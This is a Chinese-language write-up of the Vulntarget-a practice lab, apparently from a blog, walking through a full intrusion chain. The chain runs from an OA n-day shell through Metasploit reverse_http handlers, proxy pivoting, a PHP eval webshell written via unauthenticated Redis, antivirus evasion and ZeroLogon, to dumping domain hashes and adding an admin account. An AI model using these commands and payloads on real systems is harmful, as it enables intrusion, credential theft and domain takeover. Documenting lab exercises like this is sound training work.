Vulntarget-a
1 打点
通达OA,用n day拿shell

目标存在两个网段

tasklist /svc判断不存在杀软,上传大马
2 简单权限维持
本身是system权限,不需要做提权,通过进程注入、注册服务做个简单权限维持。

3 内网信息收集
使用Ladon进行内网存活主机探测

挂马的主机内网ip是10.0.20.98,发现另一台存在域环境的主机10.0.20.99,系统为win 2016 datacenter 14393
扫下端口,发现开了HTTP,SMB,Redis三个服务,挨个看看
通过CS的SOCKS代理,访问HTTP,啥也没有(CS自带的代理不稳定,推荐使用独立的代理工具)

将会话派生到msf,探测是否存在ms17-010
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 99
exploit
用foreign/reverse_http创建一个listener,ip和端口填msf的ip和端口,然后spawn过去就可以了

添加路由
run get_local_subnets #查看网段/子网
run autoroute -s 192.168.52.0/24 #添加路由
run autoroute -p #查看路由
background #转入后台运行

漏洞探测
use auxiliary/scanner/smb/smb_ms17_010,设置目标ip,运行,发现不存在ms17-010漏洞

redis在内网,直接访问不到,用派生到msf的会话起个代理
use auxiliary/server/socks_proxy
set version 5 # socks5
set srvport 12222 # 端口
run
然后用proxychains来访问,访问10.0.20.99:80,显示Hello World,与之前访问页面内容一致,说明代理可用

连接redis

查看redis配置,发现其配置文件目录

4 上线域内主机
梳理一下现在拿到的信息:
- ip: 10.0.20.99
- 开启了web服务
- redis未授权
- 目标为windows 2016 datacenter
思路很清晰,写个shell上去,先看看是什么语言的后端,通过响应头发现是PHP

扫描目录看看,用proxychains+dirsearch,发现存在phpinfo.php,
用msf的代理访问,搜索document_root,拿到web目录

接下来通过redis未授权写shell
10.0.20.99:6379> config set dir C:/phpStudy/PHPTutorial/WWW
OK
10.0.20.99:6379> config set dbfilename x.php
OK
(0.95s)
10.0.20.99:6379> set a "<?php @eval($_POST['x']);?>"
OK
(2.02s)
10.0.20.99:6379> save
OK
(0.87s)
访问,webshell已上传

在蚁剑中添加代理AntSword->代理设置

添加shell,连接成功,直接系统权限,方便很多

看了下,有杀软

pivot listener 只有可执行,没有shellcode,无法免杀,目标有杀软,所以需要想办法获取到pivot listener的shellcode来做免杀
通过web-delivery,选择pivot listener,语言随便选一个,访问挂着马的url,下载到本地,把里面的shellcode拿出来,base64解码,进行免杀
上传,上线(大文件上传可以使用冰蝎或者哥斯拉)

5 横向移动
信息收集-找域控

dcwin2019.vulntarget.com,10.0.10.110

下面用ZeroLogon打DC,需要搭代理,这里使用pystinger,将proxy.php和stinger_server.exe上传到WIN2016

启动服务端:start stinger_server.exe (不能直接运行,会将会话卡死)
将stinger_client.exe上传到vps,使用一级代理启动客户端proxychains stinger_client.exe -w http://10.0.20.99/proxy.php -l 0.0.0.0 -p 60000

到这二级代理就启动成功了,在0.0.0.0:60000端口,后续使用该二级代理完成,代理逻辑如下:
vps <----一级代理----> WIN7 <--- 二级代理 ---> WIN2016 <--- 访问 ---> WIN2019
vps <----一级代理----> WIN7 <---- 访问 ---> WIN2016
vps <---- 访问 ----> WIN7
WIN7 : 外网 + 10.0.20.0/24
WIN2016: 10.0.20.0/24 + 10.0.10.0/24
WIN2019: 10.0.10.0/24
用 CVE-2020-1472将WIN2019$密码置空,然后用secretsdumpdump域控中的hash,拿到管理员的NTLM hash

使用smbexec拿到shell(报错可通过添加参数'--codec gbk'解决

添加账号,添加组
net user add <username> <p@ssw0rD>(密码有复杂度要求) /add
net localgroup administrators <username> /add
使用linux下的remmina通过代理连接rdp


浙公网安备 33010602011771号